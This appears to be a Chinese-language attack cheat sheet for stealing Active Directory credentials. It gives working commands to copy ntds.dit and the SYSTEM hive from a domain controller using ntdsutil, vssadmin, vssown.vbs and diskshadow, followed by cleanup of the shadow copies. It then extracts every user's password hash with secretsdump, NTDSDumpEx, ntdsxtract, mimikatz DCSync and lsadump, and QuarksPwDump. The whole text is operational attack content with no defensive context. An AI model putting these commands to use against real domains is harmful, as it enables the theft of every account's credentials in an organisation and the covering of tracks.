-导出ntds.dit(域控服务器上操作):
存在域控制器的c:\windows\ntds\ntds.dit中。
1、ntdsutil.exe提取
①创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
②挂载快照
ntdsutil snapshot "mount {快照的GUID值}" quit quit
//挂载之后在当前目录会出现这样的
③复制ntds.dit
copy C:\$xxxC$\windows\NTDS\ntds.dit ntds.dit #xxx这是挂载快照的时候给出的,后面再跟上ntds.dit路径:windows\NTDS\ntds.dit即可,导出在当前目录下
//复制完成会在当前目录生成一个ntds.dit文件
④卸载快照并,成功得到ntds.dit文件后,就得开始清理快照了
ntdsutil snapshot "unmount {快照的GUID值}" quit quit
⑤删除快照
ntdsutil snapshot "delete {快照的GUID值}" quit quit
2、ntdsutil的IFM提取
①ifm方式提取
ntdsutil "ac i ntds" "ifm" "create full c:\test" q q
会自动将ntdis.dit复制到c:\test\Active Diretory\文件夹下,将SAM、SYSTEM复制到c:\test\registry\文件夹下
②将ntds.dit拖回本地后,将test文件夹删除
rmdir /s/q c:\test
3、vssadmin提取
①创建c盘的卷影拷贝
vssadmin create shadow /for=c:
②复制卷影
copy \\?\xxx\xx\windows\NTDS\ntds.dit c:\ntds.dit
③删除快照
vssadmin delete shadows /for=c: /quiet
4、vssown.vbs提取
①启动卷影拷贝服务:
cscript vssown.vbs /start
②创建一个c盘的卷影拷贝:
cscript vssown.vbs /create c
③列出当前卷影拷贝:
cscript vssown.vbs /list
④复制卷影
copy \\?\xxx\xx\windows\NTDS\ntds.dit c:\ntds.dit
⑤删除卷影拷贝:
cscript vssown.vbs /delete {ID值}
5、diskshadow提取
①将需要执行的命令写入command.txt中,内容如下:
set context persistent nowrites #设置卷影拷贝 add volume c: alias someAlias #添加卷 create #创建快照 expose %someAlias% k: #分配虚拟磁盘符 exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit #复制ntds到c盘下 delete shadows all #删除所有快照 list shadows all #列出所有快照 reset #重置 exit #退出
②使用diskshadow.exe加载执行txt文件内容(注意:diskshadow必须在c:\windows\system32\目录下执行,否则报错)
diskshadow /s c:\command.txt
还可以通过以下方式提取(后续发出补充文章):
6、Nishang中的Copy-VSS.ps1脚本
7、PowerSploit中的Invoke-NinjaCopy.ps1、VolumeShadowCopyTools.ps1脚本
8、MSF的psexec_ntdsgrab模块
############################
成功提取到ntds.dit后,需要将SYSTEM文件转储,因为system文件存放着ntds的密钥,如果没有该密钥,将无法破解出ntds中的hash密码,命令如下:
reg save HKLM\SYSTEM c:\windows\temp\sys.hiv
或者通过前面创建的卷影,复制SYSTEM文件,和复制ntds一样,更改为SYSTEM的路径
###########################
-获取ntds.dit中的所有hash
1、使用esedbexport和ntdsxtract
①安装esedbexport
#安装所需要的依赖apt-get install autoconf automake autopoint libtool pkg-config
#安装libesedb
cd libesedb-20200418./configuremake && sudo make installsudo ldconfig
安装完成可以在/usr/bin/目录下看到,esedbexport
②安装ntdsxtract
cd ntdsxtractpython setup.py build && python setup.py install
③提取ntds中的hash
#利用esedbexport提取需要的datatable和link_table
esedbexport -m tables ntds.dit
#会将生成的表放在ntds.dit.export/目录下
#利用ntdsxtract提取ntds中的hash
首先在ntds.dit.export/目录下创建一个output文件夹
进入ntds.dit.export/目录下操作,把SYSTEM文件放入同一目录
cd ntds.dit.export/ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt
结果会全部导出到all_user.txt中
2、使用impacket中的secretdump.py
python secretdump.py -system SYSTEM文件的路径 -ntds ntds.dit的路径 Local
3、使用NTDSDumpEx.exe获取
NTDSDumpEx.exe -d ntds.dit -o hash.txt -ssys.hiv #-d 跟上dit文件,-o 输出结果的文件名,-s SYSTEM文件,完成之后会导出一个hash.txt的文件
完成结果:
4、使用dsync
①mimikzta
1.一个域管权限shell下运行:
全部hash:
privilege::debuglsadump::dcsync /domain:hack.com /all /csv
指定用户hash:
privilege::debuglsadump::dcsync /domain:hack.com /user:test1
2.在域控机器上运行mimikatz:
mimikatz "privilege::debug" "log" "lsadump::lsa /inject" #查看log文件中全部hash
mimikatz.log文件中就是所有用户的hash
②Empire下的Invoke-DCSync.ps1(后续补充文章)
5、使用QuarksPwDump.exe
QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\sys.hiv -o c:\pass.txt
pass.txt下就是全部用户的hash
6、使用MSF
post中的domain_hashdump模块(后续补充)